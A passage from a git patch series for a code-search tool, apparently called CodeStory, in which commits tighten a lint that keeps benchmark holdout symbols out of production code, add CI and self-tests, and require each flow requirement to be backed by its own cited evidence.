} @@ -915,7 +1021,7 @@ function walkRustProductionFiles(root) { } continue; } - if (stat.isFile() && current.endsWith(".rs") && !isExcludedRustFile(current)) { + if (stat.isFile() && current.endsWith(".rs") && !isExcludedRustFile(current, options)) { files.push(current); } } @@ -1946,9 +2052,11 @@ function scanRankerFilenameLiterals(prepared) { let failed = false; +// The holdout-name pass now covers whole crates, so it is the pass that has to +// tell a shipped module from a `#[cfg(test)]` module body written out of line. const scanFiles = new Set(); for (const root of scanDirs) { - for (const filePath of walkRustProductionFiles(root)) { + for (const filePath of walkRustProductionFiles(root, { excludeCfgTestModuleBodies: true })) { scanFiles.add(filePath); } } diff --git a/scripts/tests/lint-retrieval-generalization.test.mjs b/scripts/tests/lint-retrieval-generalization.test.mjs index 35312fe5f..2444a29e8 100644 --- a/scripts/tests/lint-retrieval-generalization.test.mjs +++ b/scripts/tests/lint-retrieval-generalization.test.mjs @@ -4,9 +4,18 @@ // that excludes them can fail in two directions, and both are silent: under-firing // makes the product illegal to itself, over-firing disables the lint for a whole // holdout repository. +// +// Both directions are probed against a planted fixture rather than against the real +// source tree. A scan of `crates/**` only reports a foreign symbol while some file +// there happens to contain one, so an over-firing rule and a tree that simply stopped +// naming holdout fixtures are indistinguishable - the over-firing guard would go +// quietly vacuous the day the tree was cleaned up. The fixture names all four probe +// symbols itself, so each assertion fails for exactly one reason. import assert from "node:assert/strict"; import { execFileSync } from "node:child_process"; +import fs from "node:fs"; +import os from "node:os"; import path from "node:path"; import test from "node:test"; import { fileURLToPath } from "node:url"; @@ -16,6 +25,22 @@ const repositoryRoot = path.resolve( "../..", ); +// `RefreshMode` is a codestory-workspace product type and `crates/...` is where our +// code lives. Both reach the corpus only through +// readme-with-without/codestory-index-refresh-mode.task.json, whose subject is +// CodeStory itself. `TicTacToe` and `createServer` come from foreign holdout +// manifests. One fixture carries all four, so a single lint run answers both +// directions over identical input. +const PROBE_FIXTURE = [ + "pub fn generalization_probe() -> [&'static str; 4] {", + ' ["RefreshMode", "crates/codestory-workspace/src/lib.rs", "TicTacToe", "createServer"]', + "}", + "", +].join("\n"); + +const OWN_IDENTIFIERS = ["RefreshMode", "crates"]; +const FOREIGN_IDENTIFIERS = ["TicTacToe", "createServer"]; + /// Run the lint over one directory and return every banned pattern it reported. function bannedPatternsOver(scanRoot) { let output; @@ -41,13 +66,23 @@ function bannedPatternsOver(scanRoot) { ); } +/// Every banned pattern the lint reports against a fixture naming all four probes. +function bannedPatternsOverProbeFixture() { + const fixtureRoot = fs.mkdtempSync(path.join(os.tmpdir(), "generalization-probe-")); + try { + fs.writeFileSync(path.join(fixtureRoot, "probe.rs"), PROBE_FIXTURE); + return bannedPatternsOver(fixtureRoot); + } finally { + fs.rmSync(fixtureRoot, { recursive: true, force: true }); + } +} + test("a task about this repository cannot ban this repository's own symbols", () => { - // RefreshMode is a codestory-workspace product type. It reaches the corpus only - // through readme-with-without/codestory-index-refresh-mode.task.json, whose subject - // is CodeStory itself, so banning it would forbid the product from naming its own - // API - which is what happened before the self-subject rule existed. - const banned = bannedPatternsOver("crates/codestory-runtime/src"); - for (const own of ["RefreshMode", "crates"]) { + const banned = bannedPatternsOverProbeFixture(); + // The fixture names foreign symbols too, so an empty report means the lint never + // ran rather than that our own identifiers were spared. + assert.ok(banned.size > 0, "the lint reported no banned patterns at all"); + for (const own of OWN_IDENTIFIERS) { assert.ok( ![...banned].some((pattern) => pattern.includes(own)), `${own} is a CodeStory identifier and must not be banned, got: ${[...banned].join(", ")}`, @@ -59,9 +94,9 @@ test("tasks about other repositories still ban their symbols", () => { // The guard against over-firing: if the self-subject rule ever matched every task, // the lint would report nothing and pass silently. These come from foreign holdout // manifests and must survive. - const banned = bannedPatternsOver("crates/codestory-runtime/src"); + const banned = bannedPatternsOverProbeFixture(); assert.ok(banned.size > 0, "the lint reported no banned patterns at all"); - for (const foreign of ["TicTacToe", "createServer"]) { + for (const foreign of FOREIGN_IDENTIFIERS) { assert.ok( [...banned].some((pattern) => pattern.includes(foreign)), `${foreign} belongs to a holdout repository and must stay banned, got: ${[...banned].join(", ")}`, From 4e5ee7e669a3ead9c2bbd49b9254842d12e2f4ff Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:17:54 -0500 Subject: [PATCH 040/132] refuse a producer and verifier that disagree on the delivery-state names The installer identity, the attestation repository, and the fixture marker are written by marketplace-delivery-identity.mjs and consumed by the Python predicate. Drift between them means a real release resolves through a Codex install the predicate refuses -- the exact failure this path was repaired for, surfacing only after the tag is already pushed. Co-Authored-By: Claude Opus 5 --- .../self_test_marketplace_delivery.py | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py index 7efa36d3e..937a3e332 100644 --- a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py +++ b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py @@ -521,6 +521,32 @@ def plugin(installation_source: str, repository: str) -> dict: raise ProofFailure(f"retained installed evidence accepted {description}") +def _run_shared_identity_self_tests() -> None: + """The producer and the verifier must name the two states identically. + + `.github/scripts/marketplace-delivery-identity.mjs` writes the installer identity and the + attestation repository; this module's predicate decides which shape to accept from them. If + the two ever drift, a real release resolves through a Codex install the predicate refuses -- + which is precisely the failure this whole path was repaired for, and it would surface only + after the tag was already pushed. + """ + source = ( + REPOSITORY_ROOT / ".github" / "scripts" / "marketplace-delivery-identity.mjs" + ).read_text(encoding="utf-8") + for name, value in ( + ("LIVE_INSTALLATION_SOURCE", LIVE_INSTALLATION_SOURCE), + ("DEFERRED_INSTALLATION_SOURCE", DEFERRED_INSTALLATION_SOURCE), + ("LIVE_MARKETPLACE_REPOSITORY", _LIVE_REPOSITORY), + ("DEFERRED_MARKETPLACE_REPOSITORY", _DEFERRED_REPOSITORY), + ("FIXTURE_MARKER_FILENAME", _MARKER_FILENAME), + ("FIXTURE_MARKER_PURPOSE", _MARKER_PURPOSE), + ): + require( + f'export const {name} = "{value}";' in source, + f"marketplace delivery identity {name} differs between the producer and the verifier", + ) + + def run_marketplace_delivery_self_tests() -> None: manifest = _manifest() with tempfile.TemporaryDirectory(prefix="codestory-marketplace-delivery-") as raw: @@ -528,3 +554,4 @@ def run_marketplace_delivery_self_tests() -> None: _run_deferred_self_tests(root, manifest) _run_live_self_tests(root, manifest) _run_retained_provenance_self_tests() + _run_shared_identity_self_tests() From 102ca3fc7567cf3a6a77b3e8fe20bba602007047 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:22:31 -0500 Subject: [PATCH 041/132] hold the token-closure invariant for every subquery role The invariant skipped `original_question` and `named_anchor` by name, so any expansion added under either role would leave the closure check silently. Only `original_question` needs an exemption - it is the question verbatim, filler included - and it is now pinned to the question text instead of skipped, so a role that stops being the question fails. `named_anchor` needs no exemption at all once a qualified anchor is compared segment by segment: the question supplies `zarq_store::open` as `zarq_store` and `open`. --- .../src/tests/search_plan.rs | 26 ++++++++++++++----- 1 file changed, 20 insertions(+), 6 deletions(-) diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index 04f9fe446..364699c2c 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -923,15 +923,29 @@ fn search_plan_subqueries_contain_only_tokens_from_the_query_closure() { let terms = search_plan_terms(query); let closure = search_plan_query_token_closure(query); for subquery in search_plan_subqueries(query, &terms) { - if subquery.role == "original_question" || subquery.role == "named_anchor" { + if subquery.role == "original_question" { + // The one subquery that may carry filler: it is the question + // verbatim. Pinning it to the question keeps the exemption from + // becoming a role name any future expansion can adopt to leave + // the closure invariant. + assert_eq!( + subquery.query, + query.trim(), + "`original_question` must be the question itself, not an expansion" + ); continue; } for token in subquery.query.split_whitespace() { - assert!( - closure.contains(&token.to_ascii_lowercase()), - "subquery role `{}` injected `{token}`, which the query never supplied: {closure:?}", - subquery.role - ); + // A qualified anchor the question spelled out (`zarq_store::open`) + // reaches the closure as its segments, so compare segment by + // segment rather than exempting the role that carries it. + for segment in token.split("::").filter(|segment| !segment.is_empty()) { + assert!( + closure.contains(&segment.to_ascii_lowercase()), + "subquery role `{}` injected `{segment}`, which the query never supplied: {closure:?}", + subquery.role + ); + } } } } From e0d58aadc2356891db0328fe04c3ef88b315ab5c Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:24:46 -0500 Subject: [PATCH 042/132] run the generalization self-subject contracts in CI `scripts/tests/lint-retrieval-generalization.test.mjs` is the only automated check on the self-repository opt-out - the rule that stops benchmark tasks about CodeStory from banning CodeStory's own symbols - and nothing ran it. The retrieval smoke job already runs the lint itself, so the suite runs beside it, and the two lint files join the trigger paths so a change to either actually reaches the gate. Verified with `node .github/scripts/check-workflow-policy.mjs`, `node --test .github/scripts/check-workflow-policy.test.mjs` (452 pass), and `node .github/scripts/run-actionlint.mjs`. --- .github/workflows/retrieval-engine-smoke.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/retrieval-engine-smoke.yml b/.github/workflows/retrieval-engine-smoke.yml index bd2b11be3..103713ac4 100644 --- a/.github/workflows/retrieval-engine-smoke.yml +++ b/.github/workflows/retrieval-engine-smoke.yml @@ -26,6 +26,8 @@ on: - .github/scripts/install-windows-vulkan-sdk.ps1 - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml + - scripts/lint-retrieval-generalization.mjs + - scripts/tests/lint-retrieval-generalization.test.mjs - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md - docs/ops/retrieval-engine.md @@ -55,6 +57,8 @@ on: - .github/scripts/install-windows-vulkan-sdk.ps1 - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml + - scripts/lint-retrieval-generalization.mjs + - scripts/tests/lint-retrieval-generalization.test.mjs - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md - docs/ops/retrieval-engine.md @@ -85,6 +89,9 @@ jobs: - name: Generalization lint (production paths) run: node scripts/lint-retrieval-generalization.mjs + - name: Generalization lint self-subject contracts + run: node --test scripts/tests/lint-retrieval-generalization.test.mjs + - name: Release evidence gate contracts run: node --test scripts/tests/codestory-release-evidence-gate.test.mjs From 00d52d515c14a867b773b79f09970dcea1405e83 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:27:15 -0500 Subject: [PATCH 043/132] pin the generalization lint's coverage floor and bound its pending inventory --- crates/codestory-runtime/src/tests/repo_text.rs | 9 +++++++++ .../tests/retrieval_generalization_guard.rs | 13 ++++++++----- docs/testing/performance-review-playbook.md | 15 ++++++++++++++- 3 files changed, 31 insertions(+), 6 deletions(-) diff --git a/crates/codestory-runtime/src/tests/repo_text.rs b/crates/codestory-runtime/src/tests/repo_text.rs index 5144c68fa..a1662babc 100644 --- a/crates/codestory-runtime/src/tests/repo_text.rs +++ b/crates/codestory-runtime/src/tests/repo_text.rs @@ -254,6 +254,15 @@ fn architecture_repo_text_window_preserves_non_crate_source_surfaces() { ); // The question never says "storage", so nothing admits a storage surface on // its behalf; only the words the question used can pull a late hit forward. + // + // This is a knowing loss on this task. `add_search_plan_inferred_architecture_terms` + // used to read ("data" + "accessed" + "application") and add the words + // "access", "storage", and "persistence", which is how these two files + // reached the window. Those two files are the expected files of a holdout + // task, and the rule that fetched them was written from that task, so it + // could only ever have paid on the corpus it was written against. No + // benchmark run is claimed here: this asserts the mechanism is gone, and + // accepts that this question's recall drops with it. for unasked in [ "src/lib/data/storage/StorageAccess.h", "src/lib/data/storage/StorageAccessProxy.cpp", diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 498bb7590..ed9d93b85 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -1313,17 +1313,20 @@ const PRE_DERIVATION_SPLIT_BAN_FLOOR: &[&str] = &[ #[test] fn linter_still_reports_every_ban_it_had_before_the_corpus_was_derived() { + // The two fixture families must not nest as substrings: a report for + // `joined-1.rs` must never be mistaken for a report on `floor-1.rs`, or a + // lost ban reads as a covered one. let mut fixtures = Vec::new(); for (index, planted) in PRE_DERIVATION_BAN_FLOOR.iter().enumerate() { fixtures.push(( - format!("floor_{index}.rs"), + format!("floor-{index}.rs"), format!("pub fn planted_{index}() -> &'static str {{ \"{planted}\" }}\n"), )); } for (index, planted) in PRE_DERIVATION_SPLIT_BAN_FLOOR.iter().enumerate() { fixtures.push(( - format!("split_floor_{index}.rs"), - format!("pub fn split_planted_{index}() -> [&'static str; 2] {{ [{planted}] }}\n"), + format!("joined-{index}.rs"), + format!("pub fn joined_planted_{index}() -> [&'static str; 2] {{ [{planted}] }}\n"), )); } let borrowed: Vec<(&str, &str)> = fixtures @@ -1339,12 +1342,12 @@ fn linter_still_reports_every_ban_it_had_before_the_corpus_was_derived() { let mut lost = Vec::new(); for (index, planted) in PRE_DERIVATION_BAN_FLOOR.iter().enumerate() { - if !stderr.contains(&format!("floor_{index}.rs")) { + if !stderr.contains(&format!("floor-{index}.rs")) { lost.push(*planted); } } for (index, planted) in PRE_DERIVATION_SPLIT_BAN_FLOOR.iter().enumerate() { - if !stderr.contains(&format!("split_floor_{index}.rs")) { + if !stderr.contains(&format!("joined-{index}.rs")) { lost.push(*planted); } } diff --git a/docs/testing/performance-review-playbook.md b/docs/testing/performance-review-playbook.md index a90cb2733..cce4c068c 100644 --- a/docs/testing/performance-review-playbook.md +++ b/docs/testing/performance-review-playbook.md @@ -293,12 +293,25 @@ unlock a ban. Term extraction is additionally checked for word tables: a run of bare word literals outside the language-level stopword list is the injection shape the v0.16.1 audit found, and no per-word ban can catch it. +Derivation does not reach everything, and what it misses is named rather than +dropped. `residualBannedLiterals` in the lint holds the bans no corpus surface +can produce - repositories that were retired from the corpus, a bare nickname +whose derivation would also ban ordinary words, and a file name whose stem this +product writes on its own account - and each entry carries its reason. +`linter_still_reports_every_ban_it_had_before_the_corpus_was_derived` plants the +whole ban set this lint had before its corpus was derived and requires a report +for every entry, so widening derivation can never quietly narrow coverage. + Benchmark-family surfaces that already exist in agent packet code are listed in `scripts/retrieval-generalization-pending.json` with the number of production lines each marker occupies, and are reported on every run. The lint fails on any banned marker outside that inventory, on one more occurrence of a marker inside it, and on any listed entry that stops matching, so both growing and deleting -such a surface must edit the inventory. +such a surface must edit the inventory. The inventory is bounded and +attributable as well as recorded: every surface carries a reason and the issue +tracking its deletion, and its declared `total_markers` must equal the number of +markers listed, so it cannot grow without a reviewable diff that raises a stated +number. The inventory is executable rather than documentation-only. Supported text and configuration files under `scripts/`, `.github/scripts/`, From aaf0f260589e64b7271265c4b0f3d0a60f23ae70 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:29:15 -0500 Subject: [PATCH 044/132] close each flow requirement with its own cited evidence MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Requirement coverage was decided by the requirement's FlowRole: a claim whose wording produced that role closed every requirement wearing it. Two requirements in one flow routinely share a role, so evidence for one closed its sibling, and prose alone could close either. Each FlowRequirement now carries an evidence predicate — an allowed set of PacketEvidenceRole values, or a structural check over the cited anchor — and a requirement is covered only by a proof-bearing claim citing evidence that matches that requirement. FlowRole is kept as a diagnostic label, including ErrorOrFallback, whose format_errors requirement now has a carrier of its own; request_interceptor_management is wired back through packet_citation_owns_interceptor_management. Alongside it, sufficiency stops publishing what it cannot prove: covered_claims and avoid_opening_paths come from proven claims only, an uncited sentence is ineligible, the SQL diagnostic-evidence bypass is gone, and every task class holds each resolved exact path to its own proof-bearing claim with a per-path gap, a bounded gap budget, and a leading targeted follow-up. The shell-install flow now needs an actual shell term: "command"/"function" alone also describe a command server, and a shell requirement over such a prompt was unclosable once wording stopped standing in for evidence. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/agent/mod.rs | 1 + .../src/agent/orchestrator.rs | 33 +- .../src/agent/packet_evidence_carriers.rs | 476 +++++ .../src/agent/packet_flow_requirements.rs | 146 +- .../src/agent/packet_sufficiency.rs | 1783 +++++------------ .../src/agent/packet_terms.rs | 40 +- 6 files changed, 1198 insertions(+), 1281 deletions(-) create mode 100644 crates/codestory-runtime/src/agent/packet_evidence_carriers.rs diff --git a/crates/codestory-runtime/src/agent/mod.rs b/crates/codestory-runtime/src/agent/mod.rs index 7d3285d46..03f5a059b 100644 --- a/crates/codestory-runtime/src/agent/mod.rs +++ b/crates/codestory-runtime/src/agent/mod.rs @@ -11,6 +11,7 @@ pub(crate) mod packet_claim_profiles; pub(crate) mod packet_claims; pub(crate) mod packet_command_profiles; pub(crate) mod packet_evidence; +pub(crate) mod packet_evidence_carriers; pub(crate) mod packet_evidence_roles; pub(crate) mod packet_flow_requirements; pub(crate) mod packet_plan; diff --git a/crates/codestory-runtime/src/agent/orchestrator.rs b/crates/codestory-runtime/src/agent/orchestrator.rs index 515d8a1a6..ded7b49d9 100644 --- a/crates/codestory-runtime/src/agent/orchestrator.rs +++ b/crates/codestory-runtime/src/agent/orchestrator.rs @@ -5813,7 +5813,7 @@ mod tests { } #[test] - fn packet_sufficiency_uses_selected_plan_role_probes() { + fn planned_role_probes_stay_sufficiency_gaps_until_evidence_covers_their_requirement() { let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; let plan = build_packet_plan_with_extra( question, @@ -5876,15 +5876,36 @@ mod tests { PacketSufficiencyStatusDto::Partial, "{sufficiency:?}" ); + // The same four HTML/JS anchors as before. They produce navigation prose over form files; + // none of them is evidence for a native constraint, a custom validator, or a submit guard, + // so all three requirements stay open and every planned probe for them stays a gap. Before + // this lane the wording of those navigation claims closed two of the three requirements and + // silently dropped their probes from the gap list. assert!( sufficiency .gaps .iter() - .any(|gap| gap.contains("submit prevent default") - && !gap.contains("pattern") - && !gap.contains("validity state")), - "only selected planned probes for still-missing roles should become sufficiency gaps: {sufficiency:?}" - ); + .any(|gap| gap.contains("submit prevent default") && gap.contains("validity state")), + "planned probes for requirements no cited evidence reaches stay sufficiency gaps: {sufficiency:?}" + ); + let report = sufficiency + .coverage_report + .as_ref() + .expect("a partial packet carries a coverage report"); + for requirement in [ + "form_native_constraints", + "form_custom_validation", + "form_submit_guard", + ] { + assert!( + report.missing.iter().any(|entry| entry == requirement), + "an uncovered structural requirement stays missing: {report:?}" + ); + assert!( + !report.covered.iter().any(|entry| entry == requirement), + "a requirement no cited evidence reaches must not be reported covered: {report:?}" + ); + } } #[test] diff --git a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs new file mode 100644 index 000000000..c24476658 --- /dev/null +++ b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs @@ -0,0 +1,476 @@ +//! Structural checks that decide whether one *cited anchor* proves one specific flow +//! requirement. +//! +//! Requirement coverage used to be decided by the requirement's `FlowRole`: any claim whose +//! wording produced that role closed every requirement wearing it. Two requirements in the same +//! flow routinely share a role — a client's request finalization and its transport send are both +//! steps of one dispatch — so a single piece of evidence closed both, and prose alone could close +//! either. Every carrier here reads only the citation, so a requirement is closed by evidence for +//! that requirement and by nothing else. + +use crate::agent::packet_scoring::{normalize_identifier, packet_display_path}; +use codestory_contracts::api::{AgentCitationDto, NodeKind}; + +fn display(citation: &AgentCitationDto) -> String { + normalize_identifier(&citation.display_name) +} + +fn terminal(citation: &AgentCitationDto) -> String { + normalize_identifier(&crate::terminal_symbol_segment(&citation.display_name)) +} + +fn path(citation: &AgentCitationDto) -> String { + citation + .file_path + .as_deref() + .map(packet_display_path) + .unwrap_or_default() + .replace('\\', "/") + .to_ascii_lowercase() +} + +fn owns_behavior(citation: &AgentCitationDto) -> bool { + matches!( + citation.kind, + NodeKind::FUNCTION | NodeKind::METHOD | NodeKind::CLASS | NodeKind::STRUCT + ) +} + +fn has_any(haystack: &str, needles: &[&str]) -> bool { + needles.iter().any(|needle| haystack.contains(needle)) +} + +fn path_has_any_extension(citation: &AgentCitationDto, extensions: &[&str]) -> bool { + let path = path(citation); + extensions.iter().any(|extension| path.ends_with(extension)) +} + +// --------------------------------------------------------------------------- +// HTTP client lifecycle +// --------------------------------------------------------------------------- + +/// The convenience request method a caller reaches first (`Axios.prototype.request`, `client.get`). +/// Distinct from the factory that builds the client and from the adapter that finally sends. +pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) -> bool { + matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) + && matches!( + terminal(citation).as_str(), + "request" | "get" | "post" | "put" | "patch" | "delete" | "head" | "options" + ) +} + +/// The step that turns a configured request into a transport-ready one. +pub(crate) fn citation_owns_client_request_finalization(citation: &AgentCitationDto) -> bool { + if !owns_behavior(citation) { + return false; + } + let display = display(citation); + has_any( + &display, + &[ + "finalize", + "finalise", + "prepare", + "tohttprequest", + "buildrequest", + "requestbody", + "transformrequest", + ], + ) +} + +/// The boundary where a transport response becomes a value the caller can read. +pub(crate) fn citation_owns_client_response_materialization(citation: &AgentCitationDto) -> bool { + if !owns_behavior(citation) { + return false; + } + let display = display(citation); + display.contains("response") + && has_any( + &display, + &[ + "stream", + "frombytes", + "materiali", + "settle", + "transform", + "body", + "read", + ], + ) +} + +// --------------------------------------------------------------------------- +// Data-fetching hook + cache +// --------------------------------------------------------------------------- + +pub(crate) fn citation_owns_hook_public_export(citation: &AgentCitationDto) -> bool { + if !matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) { + return false; + } + let display = display(citation); + display.starts_with("use") && display.len() > 3 && !display.contains("cache") +} + +pub(crate) fn citation_owns_hook_key_serialization(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + display.contains("serialize") + || (display.contains("key") && has_any(&display, &["hash", "stable", "stringify"])) + } +} + +pub(crate) fn citation_owns_hook_cache_helper(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && display(citation).contains("cache") +} + +pub(crate) fn citation_owns_hook_mutation_flow(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && has_any(&display(citation), &["mutate", "mutation"]) +} + +// --------------------------------------------------------------------------- +// HTML / CSS structure +// --------------------------------------------------------------------------- + +fn is_markup_document(citation: &AgentCitationDto) -> bool { + path_has_any_extension(citation, &[".html", ".htm", ".xhtml", ".vue", ".svelte"]) +} + +fn is_stylesheet(citation: &AgentCitationDto) -> bool { + path_has_any_extension(citation, &[".css", ".scss", ".sass", ".less"]) +} + +pub(crate) fn citation_owns_html_app_shell(citation: &AgentCitationDto) -> bool { + is_markup_document(citation) + && has_any( + &display(citation), + &[ + "app", "root", "main", "body", "shell", "module", "script", "mount", + ], + ) +} + +pub(crate) fn citation_owns_css_structure(citation: &AgentCitationDto) -> bool { + is_stylesheet(citation) +} + +pub(crate) fn citation_owns_css_animation_entrypoint(citation: &AgentCitationDto) -> bool { + is_stylesheet(citation) && has_any(&display(citation), &["import", "use", "forward"]) +} + +pub(crate) fn citation_owns_css_animation_structure(citation: &AgentCitationDto) -> bool { + is_stylesheet(citation) + && has_any( + &display(citation), + &[ + "keyframes", + "animation", + "animated", + "transition", + "duration", + "delay", + "iteration", + "fillmode", + ], + ) +} + +// --------------------------------------------------------------------------- +// Form validation +// --------------------------------------------------------------------------- + +fn is_form_surface(citation: &AgentCitationDto) -> bool { + is_markup_document(citation) + || path_has_any_extension(citation, &[".js", ".mjs", ".ts", ".jsx", ".tsx"]) +} + +pub(crate) fn citation_owns_form_native_constraint(citation: &AgentCitationDto) -> bool { + is_form_surface(citation) + && has_any( + &display(citation), + &[ + "required", + "pattern", + "minlength", + "maxlength", + "min", + "max", + "inputtype", + "novalidate", + ], + ) +} + +pub(crate) fn citation_owns_form_custom_validation(citation: &AgentCitationDto) -> bool { + is_form_surface(citation) + && has_any( + &display(citation), + &[ + "setcustomvalidity", + "checkvalidity", + "reportvalidity", + "validity", + "customvalid", + "validate", + "validator", + ], + ) +} + +pub(crate) fn citation_owns_form_submit_guard(citation: &AgentCitationDto) -> bool { + is_form_surface(citation) && { + let display = display(citation); + display.contains("submit") || display.contains("preventdefault") + } +} + +// --------------------------------------------------------------------------- +// Shell installers +// --------------------------------------------------------------------------- + +fn is_shell_script(citation: &AgentCitationDto) -> bool { + let path = path(citation); + path.ends_with(".sh") + || path.ends_with(".bash") + || path.ends_with(".zsh") + || path.ends_with("install") +} + +pub(crate) fn citation_owns_shell_installer_bootstrap(citation: &AgentCitationDto) -> bool { + is_shell_script(citation) + && has_any( + &display(citation), + &["install", "bootstrap", "download", "setup", "source"], + ) +} + +pub(crate) fn citation_owns_shell_function_dispatch(citation: &AgentCitationDto) -> bool { + is_shell_script(citation) + && has_any( + &display(citation), + &["dispatch", "command", "use", "run", "exec", "case"], + ) +} + +pub(crate) fn citation_owns_shell_completion(citation: &AgentCitationDto) -> bool { + is_shell_script(citation) + && has_any( + &display(citation), + &["completion", "compgen", "complete", "alias"], + ) +} + +// --------------------------------------------------------------------------- +// Buffered IO +// --------------------------------------------------------------------------- + +fn names_buffer(citation: &AgentCitationDto) -> bool { + let display = display(citation); + display.contains("buffer") || display.contains("segment") +} + +fn names_io_operation(display: &str) -> bool { + has_any( + display, + &[ + "read", "write", "emit", "flush", "skip", "copyto", "request", + ], + ) +} + +/// The buffer itself — where bytes live between a source and a sink. +pub(crate) fn citation_owns_buffer_storage(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && names_buffer(citation) && !names_io_operation(&display(citation)) +} + +/// The operations that move bytes across that buffer. Sibling of `buffer_storage`, so a citation +/// that only names the container must not close it. +pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && names_io_operation(&display(citation)) && { + let display = display(citation); + names_buffer(citation) || has_any(&display, &["source", "sink", "stream"]) + } +} + +// --------------------------------------------------------------------------- +// Logger record + handler +// --------------------------------------------------------------------------- + +pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + display.contains("record") + && !display.contains("handler") + && (has_any(&display, &["add", "create", "make", "build", "log"]) + || display == "record" + || display.ends_with("logrecord")) + } +} + +/// Processing a record, not registering something that might. `Logger::pushHandler` names a +/// handler but does nothing with a record, so it must not close this requirement. +pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + let names_a_handler = display.contains("handler") || display.contains("handle"); + let only_registers = has_any( + &display, + &["push", "pop", "add", "remove", "set", "register"], + ); + names_a_handler + && !only_registers + && has_any( + &display, + &[ + "handle", + "process", + "write", + "emit", + "flush", + "batch", + "interface", + ], + ) + } +} + +// --------------------------------------------------------------------------- +// Static-site build +// --------------------------------------------------------------------------- + +pub(crate) fn citation_owns_site_lifecycle(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + has_any(&display, &["site", "build", "process", "pipeline"]) + && !has_any(&display, &["render", "write", "read"]) + } +} + +pub(crate) fn citation_owns_site_terminal(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) + && has_any( + &display(citation), + &["render", "writer", "write", "reader", "output", "emit"], + ) +} + +// --------------------------------------------------------------------------- +// Object mapper +// --------------------------------------------------------------------------- + +pub(crate) fn citation_owns_mapper_configuration(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + has_any(&display, &["configuration", "config", "profile", "options"]) + && !has_any(&display, &["plan", "execut", "pipeline"]) + } +} + +pub(crate) fn citation_owns_mapper_execution(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + display.contains("typemap") + || (has_any( + &display, + &["plan", "execut", "pipeline", "mapper", "mapping"], + ) && !has_any(&display, &["configuration", "config", "profile", "options"])) + } +} + +// --------------------------------------------------------------------------- +// Runtime formatting +// --------------------------------------------------------------------------- + +/// The type-erased argument store a runtime formatter reads from. +pub(crate) fn citation_owns_format_arguments(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + display.contains("format") + && has_any(&display, &["arg", "args", "arguments", "store", "value"]) + && !display.contains("error") + } +} + +/// The error/fallback path a runtime formatter takes when an argument cannot be formatted. This is +/// the only carrier for `FlowRole::ErrorOrFallback`; without it the role would ask for evidence no +/// packet could ever cite. +pub(crate) fn citation_owns_format_errors(citation: &AgentCitationDto) -> bool { + owns_behavior(citation) && { + let display = display(citation); + has_any( + &display, + &["error", "throw", "fail", "assert", "fallback", "panic"], + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use codestory_contracts::api::{NodeId, SearchHitOrigin}; + + fn citation(display_name: &str, file_path: &str, kind: NodeKind) -> AgentCitationDto { + AgentCitationDto { + node_id: NodeId(display_name.to_string()), + display_name: display_name.to_string(), + kind, + file_path: Some(file_path.to_string()), + line: Some(1), + score: 1.0, + origin: SearchHitOrigin::IndexedSymbol, + resolvable: true, + subgraph_id: None, + evidence_edge_ids: Vec::new(), + retrieval_score_breakdown: None, + evidence_tier: None, + evidence_producer: None, + resolution_status: None, + loss_reason: None, + coverage_role: None, + eligible_for_sufficiency: None, + } + } + + #[test] + fn buffer_container_and_buffer_operations_are_separate_carriers() { + let container = citation("Buffer", "src/io/buffer.kt", NodeKind::CLASS); + let operation = citation("Buffer.writeUtf8", "src/io/buffer.kt", NodeKind::METHOD); + + assert!(citation_owns_buffer_storage(&container)); + assert!(!citation_owns_buffer_read_write(&container)); + 